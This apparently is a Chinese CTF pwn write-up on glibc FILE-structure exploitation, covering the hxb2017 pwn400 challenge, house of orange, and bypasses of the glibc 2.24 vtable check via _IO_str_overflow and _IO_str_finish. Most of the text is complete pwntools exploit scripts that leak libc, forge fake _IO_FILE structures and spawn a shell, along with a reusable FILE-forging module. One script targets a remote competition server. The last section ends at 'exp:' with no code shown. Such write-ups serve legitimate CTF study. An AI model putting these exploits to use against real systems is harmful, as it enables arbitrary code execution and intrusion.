1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 static  void  malloc_consolidate (mstate av)     ...... 	  if  (nextchunk != av->top) { 	    nextinuse = inuse_bit_at_offset (nextchunk, nextsize); 	    if  (!nextinuse) { 	      size += nextsize; 	      unlink (av, nextchunk, bck, fwd); 	    } else  	      clear_inuse_bit_at_offset (nextchunk, 0 ); 	    first_unsorted = unsorted_bin->fd; 	    unsorted_bin->fd = p; 	    first_unsorted->bk = p; 	    if  (!in_smallbin_range  (size)) { 	      p->fd_nextsize = NULL ; 	      p->bk_nextsize = NULL ; 	    } 	    set_head (p, size | PREV_INUSE); 	    p->bk = unsorted_bin; 	    p->fd = first_unsorted; 	    set_foot (p, size); 	  }     ...... } 
从而fastbin转成了unsortedbin,根据第一条原则,malloc遇到不够大的unsortedbin会将其归类,从而得到了smallbin。
hxb2017 pwn400 wp 这道题也是利用FILE指针搞事情。
程序提供了4个功能:
1 2 3 4 1. Create Profile 2. Print Profile 3. Update Profile 4. Exchange other's age 
create和update函数处由于有负数溢出,所以能够覆盖一些东西,配合print函数能够leak。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 unsigned  int  1 _create(){   int  name_len;    char  buf;    unsigned  int  v3;    v3 = __readgsdword(0x14 u);   if  ( namelen )   {     puts ("You have already create your profile" );   }   else    {     puts ("Input your name len:" );     read (0 , &buf, 0x14 u);     name_len = atoi (&buf);     if  ( name_len > 8  )     {       name = malloc (name_len);       if  ( !name )       {         puts ("name space create failed!" );         exit (0 );       }       puts ("Input your name:" );       read (0 , name, name_len);     }     else                                              {       puts ("Input your name:" );       read (0 , &name, name_len);     }     puts ("Input your age:" );     __isoc99_scanf("%d" , &age);     puts ("Profile Created" );     namelen = name_len;   }   return  __readgsdword(0x14 u) ^ v3; } 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 unsigned  int  3 _update(){   signed  int  old_len;    char  buf[10 ];    unsigned  int  v3;    v3 = __readgsdword(0x14 u);   if  ( namelen )   {     puts ("Input your new namelen:" );     old_len = namelen;     __isoc99_scanf("%d" , &namelen);     if  ( (signed  int )namelen > 8  )     {       name = malloc (namelen);       if  ( !name )       {         puts ("name space create failed!" );         exit (0 );       }       puts ("Input your name:" );       read (0 , name, namelen);     }     else      {       puts ("Input your name:" );       if  ( (signed  int )namelen <= old_len )       {         read (0 , &name, namelen);                       }       else                                              {         read (0 , buf, 8u );         strncat ((char  *)&name, buf, namelen - old_len);       }     }     puts ("Input your age:" );     __isoc99_scanf("%d" , &age);     puts ("Update succeeded" );   }   else    {     puts ("You need to create your profile first!" );   }   return  __readgsdword(0x14 u) ^ v3; } 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int  2 _print(){   int  result;    if  ( (signed  int )namelen <= 0  || (signed  int )namelen > 8  )   {     printf ("Your name: %s\n" , name);     result = printf ("Your age: %d\n" , age);   }   else    {     printf ("Your name: %s\n" , &name);     result = printf ("Your age: %d\n" , age);   }   return  result; } 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 unsigned  int  4 _exchange(){   unsigned  int  p1;    unsigned  int  p2;    unsigned  int  v3;    v3 = __readgsdword(0x14 u);   if  ( check_bit )   {     puts ("You can't do that twice" );   }   else    {     puts ("welcome to the secret place of this system\nyou can revise two man's age,whose age you wanna revise?" );     printf ("Person 1: " );     read (0 , &p1, 4u );     printf ("Person 2: " );     read (0 , &p2, 4u );     if  ( p1 > (unsigned  int )&board && p1 < (unsigned  int )&read || p2 > (unsigned  int )&board && p2 < (unsigned  int )&read )     {       puts ("no no,you can't do that for yourself" );       exit (0 );     }     *(_DWORD *)(p1 + 0xC ) = p2;                      *(_DWORD *)(p2 + 0xC ) = p1;     check_bit = 1 ;   }   return  __readgsdword(0x14 u) ^ v3; } 
做法:_IO_stdout,程序调用putchar->_IO_OVERFLOW,getshell
1 2 3 4 5 6 7 8 9 int putchar  (int  c)   int  result;   _IO_acquire_lock (_IO_stdout);   result = _IO_putc_unlocked (c, _IO_stdout);   _IO_release_lock (_IO_stdout);   return  result; } 
_IO_acquire_lock是一条宏,内容如下
1 2 3 4 5 6 7 # define  _IO_acquire_lock(_fp) \   do {									      \     _IO_FILE *_IO_acquire_lock_file					      \ 	__attribute__((cleanup (_IO_acquire_lock_fct)))			      \ 	= (_fp);							      \     _IO_flockfile (_IO_acquire_lock_file);      
其中又调用了_IO_acquire_lock_fct,是一个内联函数
1 2 3 4 5 6 7 8 9 10 #define _IO_USER_LOCK 0x8000 static inline void __attribute__ ((__always_inline__)) _IO_acquire_lock_fct (_IO_FILE **p) {   _IO_FILE *fp = *p;   if ((fp->_flags & _IO_USER_LOCK) == 0) // 需要bypass,_flags & 0x8000 不能为 0     _IO_funlockfile (fp); } 
_IO_putc_unlocked又为一条宏,内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #define  _IO_putc_unlocked(_ch, _fp) \    (_IO_BE ((_fp)->_IO_write_ptr >= (_fp)->_IO_write_end, 0) \      ? __overflow (_fp, (unsigned  char ) (_ch)) \      : (unsigned  char ) (*(_fp)->_IO_write_ptr++ = (_ch))) #if   __GNUC__ >= 3 # define  _IO_BE(expr, res) __builtin_expect ((expr), res) #else  # define  _IO_BE(expr, res) (expr) #endif  int __overflow (_IO_FILE *f, int  ch) {      if  (f->_mode == 0 )      _IO_fwide (f, -1 );   return  _IO_OVERFLOW (f, ch); } 
因此,我们构造一个结构体:_flags & 0x8000 != 0_IO_write_ptr >= _IO_write_end_mode != 0
最后是exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 from  pwn import  *context.log_level = 'debug'  context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] local = 1  if  local:	cn = process('./profile' ) 	bin  = ELF('./profile' ) 	libc = ELF('./libc.so_local' ) else :    cn = remote('114.215.68.121' ,10080 )     bin  = ELF('./profile' )     libc = ELF('./libc.so_remote' ) def  z (a=''  ):	gdb.attach(cn,a) 	if  a == '' : 		raw_input() def  create (namelen,name,age ):	cn.sendline('1' ) 	cn.recvuntil('len:' ) 	cn.sendline(str (namelen)) 	cn.recvuntil('name:' ) 	cn.send(name) 	cn.recvuntil('age:' ) 	cn.sendline(str (age)) def  printout ():	cn.sendline('2' ) def  update (namelen,name,age ):	cn.sendline('3' ) 	cn.recvuntil('len:' ) 	cn.sendline(str (namelen)) 	cn.recvuntil('name:' ) 	cn.send(name) 	cn.recvuntil('age:' ) 	cn.sendline(str (age)) def  exchange (p1,p2 ):	cn.sendline('4' ) 	cn.recvuntil('1:' ) 	cn.send(p32(p1)) 	cn.recvuntil('2:' ) 	cn.send(p32(p2)) cn.recv() pay = p32(bin .got['read' ])+'a' *4 +p32(0x100 ) create(-1 ,pay,1 ) printout() cn.recvuntil('name: ' ) read = u32(cn.recv()[:4 ]) libc_base = read-libc.symbols['read' ] system = libc_base+libc.symbols['system' ] stdout = libc_base+libc.symbols['stdout' ] success('stdout:'  + hex (stdout)) success('libc_base: ' +hex (libc_base)) fake_file ='A\x80;/'   fake_file+='bin/'   fake_file+='sh\x00\x00'   fake_file+=p32(0 )  fake_file+=p32(0xffffffff )  fake_file+=p32(0x1 )  fake_file+=p32(0x1 )  fake_file = fake_file.ljust(0x68 ,'\x00' ) fake_file+=p32(0x2 )  fake_file = fake_file.ljust(0x94 ,'\x00' ) fake_file += p32(0x804B300 +0x94 +4 ) fake_file += 3 *p32(0 )+p32(system) pay2 = p32(bin .got['read' ])+'a' *4 +p32(0x100 )+'\x00' *(0x100 -0x94 +0x200 -4 )+fake_file update(-2 ,pay2,10 ) exchange(stdout-0xc ,0x0804B300 ) cn.interactive() 
FILE.py FILE结构体伪造模块 撸了一个伪造FILE结构体的模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 from  pwn import  *_IO_FILE_plus_size = { 	'i386' :0x98 , 	'amd64' :0xe0  } _IO_FILE_plus = { 	'i386' :{ 		0x0 :'_flags' , 		0x4 :'_IO_read_ptr' , 		0x8 :'_IO_read_end' , 		0xc :'_IO_read_base' , 		0x10 :'_IO_write_base' , 		0x14 :'_IO_write_ptr' , 		0x18 :'_IO_write_end' , 		0x1c :'_IO_buf_base' , 		0x20 :'_IO_buf_end' , 		0x24 :'_IO_save_base' , 		0x28 :'_IO_backup_base' , 		0x2c :'_IO_save_end' , 		0x30 :'_markers' , 		0x34 :'_chain' , 		0x38 :'_fileno' , 		0x3c :'_flags2' , 		0x40 :'_old_offset' , 		0x44 :'_cur_column' , 		0x46 :'_vtable_offset' , 		0x47 :'_shortbuf' , 		0x48 :'_lock' , 		0x4c :'_offset' , 		0x54 :'_codecvt' , 		0x58 :'_wide_data' , 		0x5c :'_freeres_list' , 		0x60 :'_freeres_buf' , 		0x64 :'__pad5' , 		0x68 :'_mode' , 		0x6c :'_unused2' , 		0x94 :'vtable'  	}, 	'amd64' :{ 		0x0 :'_flags' , 		0x8 :'_IO_read_ptr' , 		0x10 :'_IO_read_end' , 		0x18 :'_IO_read_base' , 		0x20 :'_IO_write_base' , 		0x28 :'_IO_write_ptr' , 		0x30 :'_IO_write_end' , 		0x38 :'_IO_buf_base' , 		0x40 :'_IO_buf_end' , 		0x48 :'_IO_save_base' , 		0x50 :'_IO_backup_base' , 		0x58 :'_IO_save_end' , 		0x60 :'_markers' , 		0x68 :'_chain' , 		0x70 :'_fileno' , 		0x74 :'_flags2' , 		0x78 :'_old_offset' , 		0x80 :'_cur_column' , 		0x82 :'_vtable_offset' , 		0x83 :'_shortbuf' , 		0x88 :'_lock' , 		0x90 :'_offset' , 		0x98 :'_codecvt' , 		0xa0 :'_wide_data' , 		0xa8 :'_freeres_list' , 		0xb0 :'_freeres_buf' , 		0xb8 :'__pad5' , 		0xc0 :'_mode' , 		0xc4 :'_unused2' , 		0xd8 :'vtable'  	} } class  IO_FILE_plus_struct (dict ):	arch = None  	endian = None  	fake_file = None  	size  = 0  	FILE_struct = [] 	 	@LocalContext 	def  __init__ (self ): 		self.arch = context.arch 		self.endian = context.endian 		if  self.arch != 'i386'  and  self.arch != 'amd64' : 			log.error('architecture not supported!' ) 		success('arch: ' +str (self.arch)) 		self.FILE_struct = [_IO_FILE_plus[self.arch][i] for  i  in  sorted (_IO_FILE_plus[self.arch].keys())] 		print  self.FILE_struct 		self.update({r:0  for  r in  self.FILE_struct}) 		self.size = _IO_FILE_plus_size[self.arch] 		 	def  __setitem__ (self, item, value ): 		if  item not  in  self.FILE_struct: 			log.error("Unknown item %r (not in %r)"  % (item, self.FILE_struct)) 		super (IO_FILE_plus_struct, self).__setitem__(item, value) 	def  __setattr__ (self, attr, value ): 		if  attr in  IO_FILE_plus_struct.__dict__: 			super (IO_FILE_plus_struct, self).__setattr__(attr, value) 		else : 			self[attr]=value 	def  __getattr__ (self, attr ): 		return  self[attr] 	def  __str__ (self ): 		fake_file = ""  		with  context.local(arch=self.arch): 			for  item_offset in  sorted (self.item_offset): 				if  len (fake_file) < item_offset: 					fake_file += "\x00" *(item_offset - len (fake_file)) 				fake_file += pack(self[_IO_FILE_plus[self.arch][item_offset]],word_size='all' ) 			fake_file += "\x00" *(self.size - len (fake_file)) 		return  fake_file 	@property 	def  item_offset (self ): 		return  _IO_FILE_plus[self.arch].keys() 
使用示范:
1.house of orange exp using module:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 from  pwn import  *context.log_level = 'debug'  context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] local = 1  if  local:	cn = process('./houseoforange' ) 	bin  = ELF('./houseoforange' ) 	libc = ELF('./libc_local.so' ) else :	pass  def  z (a=''  ):	gdb.attach(cn,a) 	if  a == '' : 		raw_input() def  build (size,name,price,color ):	cn.recvuntil(":" ) 	cn.sendline("1" ) 	cn.recvuntil(":" ) 	cn.sendline(str (size)) 	cn.recvuntil(":" ) 	cn.send(name) 	cn.recvuntil(":" ) 	cn.sendline(str (price)) 	cn.recvuntil(":" ) 	cn.sendline(str (color)) def  see ():	cn.recvuntil(":" ) 	cn.sendline("2" ) def  upgrade (size,name,price,color ):	cn.recvuntil(":" ) 	cn.sendline("3" ) 	cn.recvuntil(":" ) 	cn.sendline(str (size)) 	cn.recvuntil(":" ) 	cn.send(name) 	cn.recvuntil(":" ) 	cn.sendline(str (price)) 	cn.recvuntil(":" ) 	cn.sendline(str (color)) build(16 ,'aaaa' ,1 ,1 ) pay = 'b' *16 +p64(0 )+p64(0x21 )+'b' *16 +p64(0 )+p64(0xfa1 ) upgrade(0x200 ,pay,1 ,1 ) build(0x1000 ,'cccc' ,1 ,1 ) build(0x400 ,'dddddddd' ,1 ,1 ) see() cn.recvuntil('dddddddd' ) d = cn.recv(6 ).ljust(8 ,'\x00' ) libc_base = u64(d)-1640 -0x3c4b20  success('libc_base: ' +hex (libc_base)) system = libc_base+libc.symbols['system' ] _IO_list_all=libc_base+libc.symbols['_IO_list_all' ] success('system: ' +hex (system)) success('_IO_list_all: ' +hex (_IO_list_all)) upgrade(0x400 ,'d' *16 ,1 ,1 ) see() cn.recvuntil('d' *16 ) d = cn.recvuntil('\n' )[:-1 ].ljust(8 ,'\x00' ) heap_base=u64(d)-0xc0  success('heap_base: ' +hex (heap_base)) pay='e' *0x400  pay+=p64(0 )+p64(0x21 ) pay+=p32(1 )+p32(0x1f )+p64(0 ) from  FILE import  *context.arch = 'amd64'  fake_file = IO_FILE_plus_struct() fake_file._flags = u64('/bin/sh\x00' ) fake_file._IO_read_ptr = 0x61  fake_file._IO_read_base=_IO_list_all-0x10  fake_file._IO_write_base=0  fake_file._IO_write_ptr=1  fake_file._mode=0  fake_file.vtable=heap_base+0x4f0 +fake_file.size pay+=str (fake_file) pay += p64(0 )*3   pay += p64(system) upgrade(0x800 ,pay,1 ,1 ) cn.sendline('1' ) cn.interactive() 
2.hxb2017 exp using module:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 from  pwn import  *context.log_level = 'debug'  context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] local = 1  if  local:	cn = process('./profile' ) 	bin  = ELF('./profile' ) 	libc = ELF('./libc.so_local' ) else :    cn = remote('114.215.68.121' ,10080 )     bin  = ELF('./profile' )     libc = ELF('./libc.so_remote' ) def  z (a=''  ):	gdb.attach(cn,a) 	if  a == '' : 		raw_input() def  create (namelen,name,age ):	cn.sendline('1' ) 	cn.recvuntil('len:' ) 	cn.sendline(str (namelen)) 	cn.recvuntil('name:' ) 	cn.send(name) 	cn.recvuntil('age:' ) 	cn.sendline(str (age)) def  printout ():	cn.sendline('2' ) def  update_it (namelen,name,age ):	cn.sendline('3' ) 	cn.recvuntil('len:' ) 	cn.sendline(str (namelen)) 	cn.recvuntil('name:' ) 	cn.send(name) 	cn.recvuntil('age:' ) 	cn.sendline(str (age)) def  exchange (p1,p2 ):	cn.sendline('4' ) 	cn.recvuntil('1:' ) 	cn.send(p32(p1)) 	cn.recvuntil('2:' ) 	cn.send(p32(p2)) cn.recv() pay = p32(bin .got['read' ])+'a' *4 +p32(0x100 ) create(-1 ,pay,1 ) printout() cn.recvuntil('name: ' ) read = u32(cn.recv()[:4 ]) libc_base = read-libc.symbols['read' ] system = libc_base+libc.symbols['system' ] stdout = libc_base+libc.symbols['stdout' ] success('stdout:'  + hex (stdout)) success('libc_base: ' +hex (libc_base)) from  FILE import  *context.arch = 'i386'  fake_file = IO_FILE_plus_struct() fake_file._flags = u32('A\x80;/' ) fake_file._IO_read_ptr = u32('bin/' ) fake_file._IO_read_end = u32('sh\x00\x00' ) fake_file._IO_write_ptr = fake_file._IO_write_end=0  fake_file._mode=1  fake_file.vtable=0x804B300 +fake_file.size pay2 = p32(bin .got['read' ])+'a' *4 +p32(0x100 )+'\x00' *(0x100 -0x94 +0x200 -4 )+str (fake_file) + 3 *p32(0 )+p32(system) update_it(-2 ,pay2,10 ) exchange(stdout-0xc ,0x0804B300 ) cn.interactive() 
house of orange in glibc 2.24 2.24添加了一个_IO_vtable_check函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 void  attribute_hidden_IO_vtable_check (void ) { #ifdef  SHARED      void  (*flag) (void ) = atomic_load_relaxed  (&IO_accept_foreign_vtables); #ifdef  PTR_DEMANGLE   PTR_DEMANGLE  (flag); #endif    if  (flag == &_IO_vtable_check)     return ;      {     Dl_info di;     struct  link_map  *l;     if  (_dl_open_hook != NULL          || (_dl_addr (_IO_vtable_check, &di, &l, NULL ) != 0              && l->l_ns != LM_ID_BASE))       return ;   } #else        if  (__dlopen != NULL )     return ; #endif    __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n" ); } 
没细看,但看别人的博客说是vtable不能随意构造在任意地址,libc中有一个段叫__libc_IO_vtables,里面全是vtable,应该是只能使用这里面的vtable吧。
我们对一个叫做_IO_str_overflow的虚表函数感兴趣,因为它里面有相对地址调用,而且这个地址不是虚表内的函数。这个函数在一个叫_IO_str_jumps的vtable里(也有其他vtable存在这个函数的)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 pwndbg> p _IO_str_jumps  $1 = {   __dummy = 0,    __dummy2 = 0,    __finish = 0x7ff39312db70 <_IO_str_finish>,    __overflow = 0x7ff39312d850 <__GI__IO_str_overflow>,    __underflow = 0x7ff39312d7f0 <__GI__IO_str_underflow>,    __uflow = 0x7ff39312c370 <__GI__IO_default_uflow>,    __pbackfail = 0x7ff39312db50 <__GI__IO_str_pbackfail>,    __xsputn = 0x7ff39312c3d0 <__GI__IO_default_xsputn>,    __xsgetn = 0x7ff39312c550 <__GI__IO_default_xsgetn>,    __seekoff = 0x7ff39312dca0 <__GI__IO_str_seekoff>,    __seekpos = 0x7ff39312c730 <_IO_default_seekpos>,    __setbuf = 0x7ff39312c600 <_IO_default_setbuf>,    __sync = 0x7ff39312c9b0 <_IO_default_sync>,    __doallocate = 0x7ff39312c7a0 <__GI__IO_default_doallocate>,    __read = 0x7ff39312d6a0 <_IO_default_read>,    __write = 0x7ff39312d6b0 <_IO_default_write>,    __seek = 0x7ff39312d680 <_IO_default_seek>,    __close = 0x7ff39312c9b0 <_IO_default_sync>,    __stat = 0x7ff39312d690 <_IO_default_stat>,    __showmanyc = 0x7ff39312d6c0 <_IO_default_showmanyc>,    __imbue = 0x7ff39312d6d0 <_IO_default_imbue> } 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 int _IO_str_overflow (_IO_FILE *fp, int  c) {   int  flush_only = c == EOF;   _IO_size_t pos;   if  (fp->_flags & _IO_NO_WRITES)       return  flush_only ? 0  : EOF;   if  ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))     {       fp->_flags |= _IO_CURRENTLY_PUTTING;       fp->_IO_write_ptr = fp->_IO_read_ptr;       fp->_IO_read_ptr = fp->_IO_read_end;     }   pos = fp->_IO_write_ptr - fp->_IO_write_base;   if  (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))     {       if  (fp->_flags & _IO_USER_BUF)   	return  EOF;       else  	{ 	  char  *new_buf; 	  char  *old_buf = fp->_IO_buf_base; 	  size_t  old_blen = _IO_blen (fp); 	  _IO_size_t new_size = 2  * old_blen + 100 ; 	  if  (new_size < old_blen) 	    return  EOF; 	  new_buf 	    = (char  *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); 	  if  (new_buf == NULL ) 	    { 	       	      return  EOF; 	    } 	  if  (old_buf) 	    { 	      memcpy  (new_buf, old_buf, old_blen); 	      (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf); 	       	      fp->_IO_buf_base = NULL ; 	    } 	  memset  (new_buf + old_blen, '\0' , new_size - old_blen); 	  _IO_setb (fp, new_buf, new_buf + new_size, 1 ); 	  fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf); 	  fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf); 	  fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf); 	  fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); 	  fp->_IO_write_base = new_buf; 	  fp->_IO_write_end = fp->_IO_buf_end; 	}     }   if  (!flush_only)     *fp->_IO_write_ptr++ = (unsigned  char ) c;   if  (fp->_IO_write_ptr > fp->_IO_read_end)     fp->_IO_read_end = fp->_IO_write_ptr;   return  c; } libc_hidden_def  (_IO_str_overflow)
总结一下可以如此构造:
1 2 3 4 5 _flags = 0 _IO_write_ptr = 0x7fffffffffffffff _IO_write_base = 0 _IO_buf_end = (binsh-100)/2 _IO_buf_base = 0 
在加上_IO_flush_all_lockp中触发OVERFLOW的条件,最后的exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 from  pwn import  *context.log_level = 'debug'  context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] local = 1  if  local:	cn = process(['/home/veritas/glibc-2.24_build/lib/ld-linux-x86-64.so.2' ,'--library-path' ,'/home/veritas/glibc-2.24_build/lib/' ,'./houseoforange' ]) 	bin  = ELF('./houseoforange' ) 	libc = ELF('/home/veritas/glibc-2.24_build/lib/libc-2.24.so' ) else :	pass  def  z (a=''  ):	gdb.attach(cn,a) 	if  a == '' : 		raw_input() def  build (size,name,price,color ):	cn.recvuntil(":" ) 	cn.sendline("1" ) 	cn.recvuntil(":" ) 	cn.sendline(str (size)) 	cn.recvuntil(":" ) 	cn.send(name) 	cn.recvuntil(":" ) 	cn.sendline(str (price)) 	cn.recvuntil(":" ) 	cn.sendline(str (color)) def  see ():	cn.recvuntil(":" ) 	cn.sendline("2" ) def  upgrade (size,name,price,color ):	cn.recvuntil(":" ) 	cn.sendline("3" ) 	cn.recvuntil(":" ) 	cn.sendline(str (size)) 	cn.recvuntil(":" ) 	cn.send(name) 	cn.recvuntil(":" ) 	cn.sendline(str (price)) 	cn.recvuntil(":" ) 	cn.sendline(str (color)) build(16 ,'aaaa' ,1 ,1 ) pay = 'b' *16 +p64(0 )+p64(0x21 )+'b' *16 +p64(0 )+p64(0xfa1 ) upgrade(0x200 ,pay,1 ,1 ) build(0x1000 ,'cccc' ,1 ,1 ) build(0x400 ,'dddddddd' ,1 ,1 ) see() cn.recvuntil('dddddddd' ) d = cn.recv(6 ).ljust(8 ,'\x00' ) libc_base = u64(d)-1640 -0x39cb00  success('libc_base: ' +hex (libc_base)) system = libc_base+libc.symbols['system' ] _IO_list_all=libc_base+libc.symbols['_IO_list_all' ] _IO_str_jumps = libc_base+libc.symbols['_IO_str_jumps' ] binsh = libc_base+libc.search('/bin/sh\x00' ).next () success('system: ' +hex (system)) success('_IO_list_all: ' +hex (_IO_list_all)) success('_IO_str_jumps: ' +hex (_IO_str_jumps)) success('binsh: ' +hex (binsh)) pay='e' *0x400  pay+=p64(0 )+p64(0x21 ) pay+=p32(1 )+p32(0x1f )+p64(0 ) from  FILE import  *context.arch = 'amd64'  fake_file = IO_FILE_plus_struct() fake_file._flags = 0  fake_file._IO_read_ptr = 0x61  fake_file._IO_read_base=_IO_list_all-0x10  fake_file._IO_write_base=0  fake_file._IO_write_ptr=0x7fffffffffffffff  fake_file._IO_buf_base=0  fake_file._IO_buf_end=(binsh-100 )/2  fake_file._mode=0  fake_file.vtable=_IO_str_jumps pay+=str (fake_file).ljust(0xe0 ,'\x00' )+p64(system) upgrade(0x800 ,pay,1 ,1 ) z('set follow-fork-mode parent\nc' ) cn.sendline('1' ) cn.interactive() 
深入思考。。。
难道真的只有虚表上的overflow函数能用吗?
因为其实vtable check的时候,只检测了范围,并没有检测对齐。
经过观察,发现一个更好的目标_IO_str_finish。
1 2 3 4 5 6 7 8 9 void _IO_str_finish (_IO_FILE *fp, int  dummy) {   if  (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))      (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);   fp->_IO_buf_base = NULL ;   _IO_default_finish (fp, 0 ); } 
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 from  pwn import  *context.log_level = 'debug'  context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] local = 1  if  local:	cn = process(['/home/veritas/glibc-2.24_build/lib/ld-linux-x86-64.so.2' ,'--library-path' ,'/home/veritas/glibc-2.24_build/lib/' ,'./houseoforange' ]) 	bin  = ELF('./houseoforange' ) 	libc = ELF('/home/veritas/glibc-2.24_build/lib/libc-2.24.so' ) else :	pass  def  z (a=''  ):	gdb.attach(cn,a) 	if  a == '' : 		raw_input() def  build (size,name,price,color ):	cn.recvuntil(":" ) 	cn.sendline("1" ) 	cn.recvuntil(":" ) 	cn.sendline(str (size)) 	cn.recvuntil(":" ) 	cn.send(name) 	cn.recvuntil(":" ) 	cn.sendline(str (price)) 	cn.recvuntil(":" ) 	cn.sendline(str (color)) def  see ():	cn.recvuntil(":" ) 	cn.sendline("2" ) def  upgrade (size,name,price,color ):	cn.recvuntil(":" ) 	cn.sendline("3" ) 	cn.recvuntil(":" ) 	cn.sendline(str (size)) 	cn.recvuntil(":" ) 	cn.send(name) 	cn.recvuntil(":" ) 	cn.sendline(str (price)) 	cn.recvuntil(":" ) 	cn.sendline(str (color)) build(16 ,'aaaa' ,1 ,1 ) pay = 'b' *16 +p64(0 )+p64(0x21 )+'b' *16 +p64(0 )+p64(0xfa1 ) upgrade(0x200 ,pay,1 ,1 ) build(0x1000 ,'cccc' ,1 ,1 ) build(0x400 ,'dddddddd' ,1 ,1 ) see() cn.recvuntil('dddddddd' ) d = cn.recv(6 ).ljust(8 ,'\x00' ) libc_base = u64(d)-1640 -0x39cb00  success('libc_base: ' +hex (libc_base)) system = libc_base+libc.symbols['system' ] _IO_list_all=libc_base+libc.symbols['_IO_list_all' ] _IO_str_jumps = libc_base+libc.symbols['_IO_str_jumps' ] binsh = libc_base+libc.search('/bin/sh\x00' ).next () success('system: ' +hex (system)) success('_IO_list_all: ' +hex (_IO_list_all)) success('_IO_str_jumps: ' +hex (_IO_str_jumps)) success('binsh: ' +hex (binsh)) pay='e' *0x400  pay+=p64(0 )+p64(0x21 ) pay+=p32(1 )+p32(0x1f )+p64(0 ) from  FILE import  *context.arch = 'amd64'  fake_file = IO_FILE_plus_struct() fake_file._flags = 0  fake_file._IO_read_ptr = 0x61  fake_file._IO_read_base =_IO_list_all-0x10  fake_file._IO_buf_base = binsh fake_file._mode = 0  fake_file._IO_write_base = 0  fake_file._IO_write_ptr = 1  fake_file.vtable = _IO_str_jumps-8  pay+=str (fake_file).ljust(0xe8 ,'\x00' )+p64(system) upgrade(0x800 ,pay,1 ,1 ) z('set follow-fork-mode parent\nc' ) cn.sendline('1' ) cn.interactive() 
hxb2017 pwn400 in glibc 2.24 和上面一样,我也是使用了_IO_str_finish这个函数。
exp:
